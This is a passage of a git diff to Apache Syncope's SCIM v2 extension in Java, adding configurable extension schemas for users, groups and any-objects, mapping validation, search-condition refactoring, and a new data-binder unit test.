java.lang.reflect.Method; import java.net.URI; @@ -49,15 +50,17 @@ public class SCIMLogic extends AbstractLogic { protected static final Object MONITOR = new Object(); + protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + protected static ServiceProviderConfig SERVICE_PROVIDER_CONFIG; protected static ResourceType USER; protected static ResourceType GROUP; - protected static String SCHEMAS; + protected String schemas; - protected static final Map SCHEMA_MAP = new HashMap<>(); + protected final Map schemaMap = new HashMap<>(); protected final SCIMConfManager confManager; @@ -67,17 +70,95 @@ public SCIMLogic(final SCIMConfManager confManager) { protected void init() { try { - JsonMapper mapper = JsonMapper.builder().findAndAddModules().build(); - JsonNode tree = mapper.readTree(SCIMLogic.class.getResourceAsStream('/' + SCHEMAS_JSON)); + JsonNode tree = MAPPER.readTree(SCIMLogic.class.getResourceAsStream('/' + SCHEMAS_JSON)); if (!tree.isArray()) { throw new IOException("JSON node is not a tree"); } ArrayNode schemaArray = (ArrayNode) tree; - SCHEMAS = mapper.writerWithDefaultPrettyPrinter().writeValueAsString(tree); + SCIMConf conf = confManager.get(); + if (conf.getExtensionUserConf() != null) { + ObjectNode extensionObject = MAPPER.createObjectNode(); + extensionObject.put("id", Resource.ExtensionUser.schema()); + extensionObject.put("name", conf.getExtensionUserConf().getName()); + extensionObject.put("description", conf.getExtensionUserConf().getDescription()); + ArrayNode attributes = MAPPER.createArrayNode(); + conf.getExtensionUserConf().getAttributes().forEach(scimItem -> { + ObjectNode attribute = MAPPER.createObjectNode(); + attribute.put("name", scimItem.getIntAttrName()); + attribute.put("type", "string"); + attribute.put("multiValued", scimItem.isMultiValued()); + attribute.put("required", scimItem.getMandatoryCondition()); + attribute.put("caseExact", scimItem.isCaseExact()); + attribute.put("mutability", scimItem.isMutability()); + attribute.put("returned", scimItem.getReturned().getReturned()); + attribute.put("uniqueness", scimItem.isUniqueness()); + attributes.add(attribute); + }); + extensionObject.putIfAbsent("attributes", attributes); + extensionObject.putIfAbsent("meta", MAPPER.readTree("{\"resourceType\": \"Schema\"," + + "\"location\": \"/v2/Schemas/urn:ietf:params:scim:schemas:extension:syncope:2.0:User\"}")); + schemaArray.add(extensionObject); + } + if (conf.getExtensionGroupConf() != null) { + ObjectNode extensionObject = MAPPER.createObjectNode(); + extensionObject.put("id", Resource.ExtensionGroup.schema()); + extensionObject.put("name", conf.getExtensionGroupConf().getName()); + extensionObject.put("description", conf.getExtensionGroupConf().getDescription()); + ArrayNode attributes = MAPPER.createArrayNode(); + conf.getExtensionGroupConf().getAttributes().forEach(scimItem -> { + ObjectNode attribute = MAPPER.createObjectNode(); + attribute.put("name", scimItem.getIntAttrName()); + attribute.put("type", "string"); + attribute.put("multiValued", scimItem.isMultiValued()); + attribute.put("required", scimItem.getMandatoryCondition()); + attribute.put("caseExact", scimItem.isCaseExact()); + attribute.put("mutability", scimItem.isMutability()); + attribute.put("returned", scimItem.getReturned().getReturned()); + attribute.put("uniqueness", scimItem.isUniqueness()); + attributes.add(attribute); + }); + extensionObject.putIfAbsent("attributes", attributes); + extensionObject.putIfAbsent("meta", MAPPER.readTree("{\"resourceType\": \"Schema\"," + + "\"location\": \"/v2/Schemas/urn:ietf:params:scim:schemas:extension:syncope:2.0:Group\"}")); + schemaArray.add(extensionObject); + } + if (!conf.getExtensionAnyObjectsConf().isEmpty()) { + conf.getExtensionAnyObjectsConf().forEach(confItem -> { + ObjectNode extensionObject = MAPPER.createObjectNode(); + extensionObject.put("id", + "urn:ietf:params:scim:schemas:extension:syncope:2.0:" + confItem.getType()); + extensionObject.put("name", confItem.getName()); + extensionObject.put("description", confItem.getDescription()); + ArrayNode attributes = MAPPER.createArrayNode(); + confItem.getAttributes().forEach(scimItem -> { + ObjectNode attribute = MAPPER.createObjectNode(); + attribute.put("name", scimItem.getIntAttrName()); + attribute.put("type", "string"); + attribute.put("multiValued", scimItem.isMultiValued()); + attribute.put("required", scimItem.getMandatoryCondition()); + attribute.put("caseExact", scimItem.isCaseExact()); + attribute.put("mutability", scimItem.isMutability()); + attribute.put("returned", scimItem.getReturned().getReturned()); + attribute.put("uniqueness", scimItem.isUniqueness()); + attributes.add(attribute); + }); + extensionObject.putIfAbsent("attributes", attributes); + try { + extensionObject.putIfAbsent("meta", MAPPER.readTree("{\"resourceType\": \"Schema\"," + + "\"location\": \"/v2/Schemas/urn:ietf:params:scim:schemas:extension:syncope:2.0:" + + confItem.getType() + "}\"")); + } catch (IOException e) { + LOG.error("Could not parse the default schema definitions", e); + } + schemaArray.add(extensionObject); + }); + } + schemas = MAPPER.writerWithDefaultPrettyPrinter().writeValueAsString(tree); + schemaMap.clear(); for (JsonNode schema : schemaArray) { - SCHEMA_MAP.put(schema.get("id").asText(), mapper.writeValueAsString(schema)); + schemaMap.put(schema.get("id").asText(), MAPPER.writeValueAsString(schema)); } } catch (IOException e) { LOG.error("Could not parse the default schema definitions", e); @@ -86,23 +167,22 @@ protected void init() { @PreAuthorize("isAuthenticated()") public ServiceProviderConfig serviceProviderConfig(final UriBuilder uriBuilder) { - synchronized (MONITOR) { - if (SCHEMAS == null) { - init(); - } + init(); + synchronized (MONITOR) { if (SERVICE_PROVIDER_CONFIG == null) { SCIMConf conf = confManager.get(); SERVICE_PROVIDER_CONFIG = new ServiceProviderConfig( new Meta( - Resource.ServiceProviderConfig, + Resource.ServiceProviderConfig.name(), conf.getGeneralConf().getCreationDate(), conf.getGeneralConf().getLastChangeDate(), conf.getGeneralConf().getETagValue(), uriBuilder.build().toASCIIString()), - new ConfigurationOption(false), - new BulkConfigurationOption(false, + new ConfigurationOption(true), + new BulkConfigurationOption( + false, conf.getGeneralConf().getBulkMaxOperations(), conf.getGeneralConf().getBulkMaxPayloadSize()), new FilterConfigurationOption(true, conf.getGeneralConf().getFilterMaxResults()), @@ -131,18 +211,17 @@ public ServiceProviderConfig serviceProviderConfig(final UriBuilder uriBuilder) } @PreAuthorize("isAuthenticated()") - public static List resourceTypes(final UriBuilder uriBuilder) { + public List resourceTypes(final UriBuilder uriBuilder) { synchronized (MONITOR) { + String uri = uriBuilder.build().toASCIIString(); if (USER == null) { USER = new ResourceType("User", "User", "/Users", "User Account", Resource.User.schema(), - new Meta(Resource.ResourceType, - null, null, null, uriBuilder.path("User").build().toASCIIString())); + new Meta(Resource.ResourceType.name(), null, null, null, uri + "User")); USER.getSchemaExtensions().add(new SchemaExtension(Resource.EnterpriseUser.schema(), true)); } if (GROUP == null) { GROUP = new ResourceType("Group", "Group", "/Groups", "Group", Resource.Group.schema(), - new Meta(Resource.ResourceType, - null, null, null, uriBuilder.path("Group").build().toASCIIString())); + new Meta(Resource.ResourceType.name(), null, null, null, uri + "Group")); } } @@ -150,7 +229,7 @@ public static List resourceTypes(final UriBuilder uriBuilder) { } @PreAuthorize("isAuthenticated()") - public static ResourceType resourceType(final UriBuilder uriBuilder, final String type) { + public ResourceType resourceType(final UriBuilder uriBuilder, final String type) { if (Resource.User.name().equals(type)) { resourceTypes(uriBuilder); return USER; @@ -164,24 +243,16 @@ public static ResourceType resourceType(final UriBuilder uriBuilder, final Strin @PreAuthorize("isAuthenticated()") public String schemas() { - synchronized (MONITOR) { - if (SCHEMAS == null) { - init(); - } - } + init(); - return SCHEMAS; + return schemas; } @PreAuthorize("isAuthenticated()") public String schema(final String schema) { - synchronized (MONITOR) { - if (SCHEMAS == null) { - init(); - } - } + init(); - String found = SCHEMA_MAP.get(schema); + String found = schemaMap.get(schema); if (found == null) { throw new NotFoundException("Schema " + schema + " not found"); } diff --git a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMLogicContext.java b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMLogicContext.java index 559146e2731..968dd69dfc8 100644 --- a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMLogicContext.java +++ b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMLogicContext.java @@ -21,6 +21,7 @@ import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.core.logic.init.SCIMLoader; import org.apache.syncope.core.logic.scim.SCIMConfManager; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.spring.security.AuthDataAccessor; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.context.annotation.Bean; @@ -46,9 +47,10 @@ public SCIMConfManager scimConfManager(final ConfParamOps confParamOps, final Sc public SCIMDataBinder scimDataBinder( final SCIMConfManager confManager, final UserLogic userLogic, - final AuthDataAccessor authDataAccessor) { + final AuthDataAccessor authDataAccessor, + final GroupDAO groupDAO) { - return new SCIMDataBinder(confManager, userLogic, authDataAccessor); + return new SCIMDataBinder(confManager, userLogic, authDataAccessor, groupDAO); } @ConditionalOnMissingBean diff --git a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/scim/SCIMConfManager.java b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/scim/SCIMConfManager.java index 11b06833333..7cef51a2225 100644 --- a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/scim/SCIMConfManager.java +++ b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/scim/SCIMConfManager.java @@ -20,13 +20,17 @@ import java.time.OffsetDateTime; import java.util.Base64; +import java.util.Optional; import javax.ws.rs.core.MediaType; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; +import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.scim.SCIMConf; import org.apache.syncope.common.lib.scim.SCIMGeneralConf; +import org.apache.syncope.common.lib.scim.SCIMItem; import org.apache.syncope.common.lib.scim.types.SCIMEntitlement; import org.apache.syncope.common.lib.to.PlainSchemaTO; import org.apache.syncope.common.lib.types.AttrSchemaType; +import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.SchemaType; import org.apache.syncope.core.logic.SchemaLogic; import org.apache.syncope.core.persistence.api.dao.NotFoundException; @@ -51,21 +55,21 @@ public SCIMConfManager(final ConfParamOps confParamOps, final SchemaLogic schema @PreAuthorize("hasRole('" + SCIMEntitlement.SCIM_CONF_GET + "')") public SCIMConf get() { - SCIMConf conf = null; - String confString = confParamOps.get(AuthContextUtils.getDomain(), SCIMConf.KEY, null, String.class); - if (confString != null) { - try { - conf = POJOHelper.deserialize(new String(Base64.getDecoder().decode(confString)), SCIMConf.class); - } catch (Exception e) { - LOG.error("Could not deserialize, reverting to default", e); - } - } - if (conf == null) { - conf = new SCIMConf(); - set(conf); - } - - return conf; + return Optional.ofNullable(confParamOps.get(AuthContextUtils.getDomain(), SCIMConf.KEY, null, String.class)). + map(confString -> { + try { + return POJOHelper.deserialize( + new String(Base64.getDecoder().decode(confString)), SCIMConf.class); + } catch (Exception e) { + LOG.error("Could not deserialize, reverting to default", e); + return null; + } + }). + orElseGet(() -> { + SCIMConf scimConf = new SCIMConf(); + set(scimConf); + return scimConf; + }); } @PreAuthorize("hasRole('" + SCIMEntitlement.SCIM_CONF_SET + "')") @@ -79,10 +83,63 @@ public void set(final SCIMConf conf) { scimConf.setMimeType(MediaType.APPLICATION_JSON); schemaLogic.create(SchemaType.PLAIN, scimConf); } - conf.setGeneralConf(new SCIMGeneralConf()); + if (conf.getGeneralConf() == null) { + conf.setGeneralConf(new SCIMGeneralConf()); + } conf.getGeneralConf().setLastChangeDate(OffsetDateTime.now()); + if (conf.getExtensionUserConf() != null) { + conf.getExtensionUserConf().getAttributes().forEach(this::checkSCIMItem); + } + if (conf.getExtensionGroupConf() != null) { + conf.getExtensionGroupConf().getAttributes().forEach(this::checkSCIMItem); + } + if (!conf.getExtensionAnyObjectsConf().isEmpty()) { + conf.getExtensionAnyObjectsConf().forEach(confItem -> { + if (confItem != null) { + confItem.getAttributes().forEach(this::checkSCIMItem); + } + }); + } + confParamOps.set(AuthContextUtils.getDomain(), SCIMConf.KEY, Base64.getEncoder().encodeToString(POJOHelper.serialize(conf).getBytes())); } + + private void checkSCIMItem(final SCIMItem scimItem) { + try { + PlainSchemaTO schema = schemaLogic.read(SchemaType.PLAIN, scimItem.getExtAttrName()); + SyncopeClientException invalidMapping = + SyncopeClientException.build(ClientExceptionType.InvalidMapping); + if (!scimItem.getMandatoryCondition().equals(schema.getMandatoryCondition())) { + invalidMapping.getElements().add('\'' + scimItem.getIntAttrName() + + "' should " + (Boolean.parseBoolean(schema.getMandatoryCondition()) ? "" : "not") + + " be required"); + } + if (scimItem.isMultiValued() != schema.isMultivalue()) { + invalidMapping.getElements().add('\'' + scimItem.getIntAttrName() + + "' should " + (schema.isMultivalue() ? "" : "not") + " be multi-value"); + } + if (scimItem.isMutability() != schema.isReadonly()) { + invalidMapping.getElements().add('\'' + scimItem.getIntAttrName() + + "' should " + (schema.isReadonly() ? "" : "not") + " be readonly"); + } + if (scimItem.isUniqueness() != schema.isUniqueConstraint()) { + invalidMapping.getElements().add('\'' + scimItem.getIntAttrName() + + "' should " + (schema.isUniqueConstraint() ? "" : "not") + " be unique"); + } + if (!invalidMapping.getElements().isEmpty()) { + throw invalidMapping; + } + } catch (NotFoundException e) { + PlainSchemaTO schema = schemaLogic.read(SchemaType.VIRTUAL, scimItem.getExtAttrName()); + if (scimItem.isMutability() != schema.isReadonly()) { + SyncopeClientException invalidMapping = + SyncopeClientException.build(ClientExceptionType.InvalidMapping); + invalidMapping.getElements().add('\'' + scimItem.getIntAttrName() + + "' should " + (schema.isReadonly() ? "" : "not") + " be readonly"); + throw invalidMapping; + } + } + } } diff --git a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/scim/SearchCondVisitor.java b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/scim/SearchCondVisitor.java index 890e208381b..06647905ccd 100644 --- a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/scim/SearchCondVisitor.java +++ b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/scim/SearchCondVisitor.java @@ -18,13 +18,14 @@ */ package org.apache.syncope.core.logic.scim; -import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.Optional; +import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.scim.SCIMComplexConf; import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyObjectConf; import org.apache.syncope.common.lib.scim.SCIMUserAddressConf; import org.apache.syncope.common.lib.scim.SCIMUserConf; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; @@ -40,95 +41,12 @@ public class SearchCondVisitor extends SCIMFilterBaseVisitor { private static final List MULTIVALUE = List.of( "emails", "phoneNumbers", "ims", "photos", "addresses"); - private final Resource resource; - - private final SCIMConf conf; - - public SearchCondVisitor(final Resource resource, final SCIMConf conf) { - this.resource = resource; - this.conf = conf; - } - - @Override - public SearchCond visitScimFilter(final SCIMFilterParser.ScimFilterContext ctx) { - return visit(ctx.expression(0)); - } - - private static boolean schemaEquals(final Resource resource, final String value, final String schema) { + private static boolean schemaEquals(final String resource, final String value, final String schema) { return resource == null ? value.contains(":") ? StringUtils.substringAfterLast(value, ":").equalsIgnoreCase(schema) : value.equalsIgnoreCase(schema) - : value.equalsIgnoreCase(schema) || (resource.schema() + ":" + value).equalsIgnoreCase(schema); - } - - public AttrCond createAttrCond(final String schema) { - AttrCond attrCond = null; - - if (schemaEquals(Resource.User, "userName", schema)) { - attrCond = new AnyCond(); - attrCond.setSchema("username"); - } else if (resource == Resource.Group && schemaEquals(Resource.Group, "displayName", schema)) { - attrCond = new AnyCond(); - attrCond.setSchema("name"); - } else if (schemaEquals(null, "meta.created", schema)) { - attrCond = new AnyCond(); - attrCond.setSchema("creationDate"); - } else if (schemaEquals(null, "meta.lastModified", schema)) { - attrCond = new AnyCond(); - attrCond.setSchema("lastChangeDate"); - } - - if (resource == Resource.User) { - if (conf.getUserConf() != null) { - if (conf.getUserConf().getName() != null) { - for (Map.Entry entry : conf.getUserConf().getName().asMap().entrySet()) { - if (schemaEquals(Resource.User, "name." + entry.getKey(), schema)) { - attrCond = new AttrCond(); - attrCond.setSchema(entry.getValue()); - } - } - } - - for (Map.Entry entry : conf.getUserConf().asMap().entrySet()) { - if (schemaEquals(Resource.User, entry.getKey(), schema)) { - attrCond = new AttrCond(); - attrCond.setSchema(entry.getValue()); - } - } - - for (SCIMUserAddressConf address : conf.getUserConf().getAddresses()) { - for (Map.Entry entry : address.asMap().entrySet()) { - if (schemaEquals(Resource.User, "addresses." + entry.getKey(), schema)) { - attrCond = new AttrCond(); - attrCond.setSchema(entry.getValue()); - } - } - } - } - - if (conf.getEnterpriseUserConf() != null) { - for (Map.Entry entry : conf.getEnterpriseUserConf().asMap().entrySet()) { - if (schemaEquals(Resource.EnterpriseUser, entry.getKey(), schema)) { - attrCond = new AttrCond(); - attrCond.setSchema(entry.getValue()); - } - } - - if (conf.getEnterpriseUserConf().getManager() != null - && conf.getEnterpriseUserConf().getManager().getKey() != null) { - - attrCond = new AttrCond(); - attrCond.setSchema(conf.getEnterpriseUserConf().getManager().getKey()); - } - } - } - - if (attrCond == null) { - throw new IllegalArgumentException("Could not match " + schema + " for " + resource); - } - - return attrCond; + : value.equalsIgnoreCase(schema) || (resource + ":" + value).equalsIgnoreCase(schema); } private static SearchCond setOperator(final AttrCond attrCond, final String operator) { @@ -179,10 +97,10 @@ private static SearchCond setOperator(final AttrCond attrCond, final String oper : SearchCond.getLeaf(attrCond); } - private > SearchCond complex( + private static > SearchCond complex( final String operator, final String left, final String right, final List> items) { - if (left.endsWith(".type")) { + if (left.endsWith(".type") && "eq".equals(operator)) { Optional> item = items.stream(). filter(object -> object.getType().name().equals(StringUtils.strip(right, "\""))).findFirst(); if (item.isPresent()) { @@ -191,16 +109,15 @@ private > SearchCond complex( attrCond.setType(AttrCond.Type.ISNOTNULL); return SearchCond.getLeaf(attrCond); } - } else if (!conf.getUserConf().getEmails().isEmpty() - && (MULTIVALUE.contains(left) || left.endsWith(".value"))) { - - List orConds = new ArrayList<>(); - items.forEach(item -> { - AttrCond cond = new AttrCond(); - cond.setSchema(item.getValue()); - cond.setExpression(StringUtils.strip(right, "\"")); - orConds.add(setOperator(cond, operator)); - }); + } else if (MULTIVALUE.contains(left) || left.endsWith(".value")) { + List orConds = items.stream(). + filter(item -> item.getValue() != null). + map(item -> { + AttrCond cond = new AttrCond(); + cond.setSchema(item.getValue()); + cond.setExpression(StringUtils.strip(right, "\"")); + return setOperator(cond, operator); + }).collect(Collectors.toList()); if (!orConds.isEmpty()) { return SearchCond.getOr(orConds); } @@ -209,7 +126,7 @@ private > SearchCond complex( return null; } - private SearchCond addresses( + private static SearchCond addresses( final String operator, final String left, final String right, final List items) { if (left.endsWith(".type") && "eq".equals(operator)) { @@ -221,16 +138,15 @@ private SearchCond addresses( attrCond.setType(AttrCond.Type.ISNOTNULL); return SearchCond.getLeaf(attrCond); } - } else if (!conf.getUserConf().getEmails().isEmpty() - && (MULTIVALUE.contains(left) || left.endsWith(".value"))) { - - List orConds = new ArrayList<>(); - items.forEach(item -> { - AttrCond cond = new AttrCond(); - cond.setSchema(item.getFormatted()); - cond.setExpression(StringUtils.strip(right, "\"")); - orConds.add(setOperator(cond, operator)); - }); + } else if (MULTIVALUE.contains(left) || left.endsWith(".value")) { + List orConds = items.stream(). + filter(item -> item.getFormatted() != null). + map(item -> { + AttrCond cond = new AttrCond(); + cond.setSchema(item.getFormatted()); + cond.setExpression(StringUtils.strip(right, "\"")); + return setOperator(cond, operator); + }).collect(Collectors.toList()); if (!orConds.isEmpty()) { return SearchCond.getOr(orConds); } @@ -239,6 +155,139 @@ private SearchCond addresses( return null; } + private final String resource; + + private final SCIMConf conf; + + public SearchCondVisitor(final String resource, final SCIMConf conf) { + this.resource = resource; + this.conf = conf; + } + + @Override + public SearchCond visitScimFilter(final SCIMFilterParser.ScimFilterContext ctx) { + return visit(ctx.expression(0)); + } + + public AttrCond createAttrCond(final String schema) { + AttrCond attrCond = null; + + if (schemaEquals(Resource.User.schema(), "userName", schema)) { + attrCond = new AnyCond(); + attrCond.setSchema("username"); + } else if ((resource.equals(Resource.Group.name()) + && schemaEquals(Resource.Group.schema(), "displayName", schema)) + || (resource.contains("urn:ietf:params:scim:schemas:extension:syncope:2.0:") + && schemaEquals(resource, "displayName", schema))) { + attrCond = new AnyCond(); + attrCond.setSchema("name"); + } else if (schemaEquals(null, "meta.created", schema)) { + attrCond = new AnyCond(); + attrCond.setSchema("creationDate"); + } else if (schemaEquals(null, "meta.lastModified", schema)) { + attrCond = new AnyCond(); + attrCond.setSchema("lastChangeDate"); + } + + switch (resource) { + case "User": + if (conf.getUserConf() != null) { + if (conf.getUserConf().getName() != null) { + for (Map.Entry entry : conf.getUserConf().getName().asMap().entrySet()) { + if (schemaEquals(Resource.User.schema(), "name." + entry.getKey(), schema)) { + attrCond = new AttrCond(); + attrCond.setSchema(entry.getValue()); + } + } + } + + for (Map.Entry entry : conf.getUserConf().asMap().entrySet()) { + if (schemaEquals(Resource.User.schema(), entry.getKey(), schema)) { + attrCond = new AttrCond(); + attrCond.setSchema(entry.getValue()); + } + } + + for (SCIMUserAddressConf address : conf.getUserConf().getAddresses()) { + for (Map.Entry entry : address.asMap().entrySet()) { + if (schemaEquals(Resource.User.schema(), "addresses." + entry.getKey(), schema)) { + attrCond = new AttrCond(); + attrCond.setSchema(entry.getValue()); + } + } + } + } + + if (conf.getEnterpriseUserConf() != null) { + for (Map.Entry entry : conf.getEnterpriseUserConf().asMap().entrySet()) { + if (schemaEquals(Resource.EnterpriseUser.schema(), entry.getKey(), schema)) { + attrCond = new AttrCond(); + attrCond.setSchema(entry.getValue()); + } + } + + if (conf.getEnterpriseUserConf().getManager() != null + && conf.getEnterpriseUserConf().getManager().getKey() != null) { + + attrCond = new AttrCond(); + attrCond.setSchema(conf.getEnterpriseUserConf().getManager().getKey()); + } + } + + if (conf.getExtensionUserConf() != null) { + for (Map.Entry entry : conf.getExtensionUserConf().asMap().entrySet()) { + if (schemaEquals(Resource.ExtensionUser.schema(), entry.getKey(), schema)) { + attrCond = new AttrCond(); + attrCond.setSchema(entry.getValue()); + } + } + } + break; + + case "Group": + if (conf.getGroupConf() != null) { + for (Map.Entry entry : conf.getGroupConf().asMap().entrySet()) { + if (schemaEquals(Resource.Group.schema(), entry.getKey(), schema)) { + attrCond = new AttrCond(); + attrCond.setSchema(entry.getValue()); + } + } + } + + if (conf.getExtensionGroupConf() != null) { + for (Map.Entry entry : conf.getExtensionGroupConf().asMap().entrySet()) { + if (schemaEquals(Resource.ExtensionGroup.schema(), entry.getKey(), schema)) { + attrCond = new AttrCond(); + attrCond.setSchema(entry.getValue()); + } + } + } + break; + + default: + if (!conf.getExtensionAnyObjectsConf().isEmpty()) { + Optional scimExtAnyObject = conf.getExtensionAnyObjectsConf().stream() + .filter(scimExtensionAnyConf -> scimExtensionAnyConf.getType().equals(resource)) + .findFirst(); + if (scimExtAnyObject.isPresent()) { + for (Map.Entry entry : scimExtAnyObject.get().asMap().entrySet()) { + if (schemaEquals("urn:ietf:params:scim:schemas:extension:syncope:2.0:" + resource, + entry.getKey(), schema)) { + attrCond = new AttrCond(); + attrCond.setSchema(entry.getValue()); + } + } + } + } + } + + if (attrCond == null) { + throw new IllegalArgumentException("Could not match " + schema + " for " + resource); + } + + return attrCond; + } + private SearchCond transform(final String operator, final String left, final String right) { SearchCond result = null; diff --git a/ext/scimv2/logic/src/test/java/org/apache/syncope/core/logic/SCIMDataBinderTest.java b/ext/scimv2/logic/src/test/java/org/apache/syncope/core/logic/SCIMDataBinderTest.java new file mode 100644 index 00000000000..cc0b9014b04 --- /dev/null +++ b/ext/scimv2/logic/src/test/java/org/apache/syncope/core/logic/SCIMDataBinderTest.java @@ -0,0 +1,327 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.logic; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; +import java.util.stream.Stream; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.request.StatusR; +import org.apache.syncope.common.lib.request.UserUR; +import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMUserConf; +import org.apache.syncope.common.lib.scim.SCIMUserNameConf; +import org.apache.syncope.common.lib.to.Provision; +import org.apache.syncope.common.lib.to.UserTO; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.common.lib.types.PatchOperation; +import org.apache.syncope.common.lib.types.StatusRType; +import org.apache.syncope.core.logic.scim.SCIMConfManager; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.spring.security.AuthDataAccessor; +import org.apache.syncope.ext.scimv2.api.data.Group; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchOp; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchOperation; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchPath; +import org.apache.syncope.ext.scimv2.api.data.SCIMUser; +import org.apache.syncope.ext.scimv2.api.data.SCIMUserName; +import org.apache.syncope.ext.scimv2.api.data.Value; +import org.apache.syncope.ext.scimv2.api.type.PatchOp; +import org.apache.syncope.ext.scimv2.api.type.Resource; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; + +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +class SCIMDataBinderTest { + + private SCIMDataBinder dataBinder; + + private GroupDAO groupDAO; + + private static Stream getValue() { + return Stream.of("True", "False"); + } + + @BeforeAll + void setup() { + SCIMConfManager scimConfManager = mock(SCIMConfManager.class); + SCIMConf conf = new SCIMConf(); + conf.setUserConf(new SCIMUserConf()); + conf.getUserConf().setName(new SCIMUserNameConf()); + conf.getUserConf().getName().setGivenName("firstname"); + conf.getUserConf().getName().setFamilyName("surname"); + when(scimConfManager.get()).thenReturn(conf); + UserLogic userLogic = mock(UserLogic.class); + AuthDataAccessor authDataAccessor = mock(AuthDataAccessor.class); + groupDAO = mock(GroupDAO.class); + dataBinder = new SCIMDataBinder(scimConfManager, userLogic, authDataAccessor, groupDAO); + } + + @ParameterizedTest + @MethodSource("getValue") + void toUserUpdateActive(final String value) { + SCIMPatchOp scimPatchOp = new SCIMPatchOp(); + scimPatchOp.setOperations(List.of(getOperation("active", null, PatchOp.add, value))); + Pair, StatusR> result = dataBinder.toUserUpdate(new UserTO(), scimPatchOp); + assertNotNull(result); + assertEquals(1, result.getLeft().size()); + assertTrue(result.getLeft().get(0).isEmpty()); + assertNotNull(result.getRight()); + assertTrue(result.getRight().isOnSyncope()); + assertEquals( + Boolean.parseBoolean(value) ? StatusRType.REACTIVATE : StatusRType.SUSPEND, + result.getRight().getType()); + } + + @Test + void toUserUpdate() { + SCIMPatchOp scimPatchOp = new SCIMPatchOp(); + List operations = new ArrayList<>(); + operations.add(getOperation("name", "familyName", PatchOp.add, "Rossini")); + scimPatchOp.setOperations(operations); + + Pair, StatusR> result = dataBinder.toUserUpdate(new UserTO(), scimPatchOp); + assertNotNull(result); + assertNull(result.getRight()); + assertEquals(1, result.getLeft().size()); + assertEquals(1, result.getLeft().get(0).getPlainAttrs().size()); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.ADD_REPLACE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("surname") + && attrPatch.getAttr().getValues().contains("Rossini"))); + + operations.clear(); + operations.add(getOperation("name", "givenName", PatchOp.add, "Gioacchino")); + operations.add(getOperation("name", "familyName", PatchOp.remove, null)); + scimPatchOp.setOperations(operations); + result = dataBinder.toUserUpdate(new UserTO(), scimPatchOp); + assertNotNull(result); + assertNull(result.getRight()); + assertEquals(1, result.getLeft().size()); + assertEquals(2, result.getLeft().get(0).getPlainAttrs().size()); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.ADD_REPLACE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("firstname") + && attrPatch.getAttr().getValues().contains("Gioacchino"))); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.DELETE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("surname") + && attrPatch.getAttr().getValues().isEmpty())); + + operations.clear(); + operations.add(getOperation("name", "familyName", PatchOp.add, "Verdi")); + operations.add(getOperation("name", "givenName", PatchOp.replace, "Giuseppe")); + operations.add(getOperation("userName", null, PatchOp.add, "gverdi")); + scimPatchOp.setOperations(operations); + result = dataBinder.toUserUpdate(new UserTO(), scimPatchOp); + assertNotNull(result); + assertNull(result.getRight()); + assertEquals(1, result.getLeft().size()); + assertEquals(2, 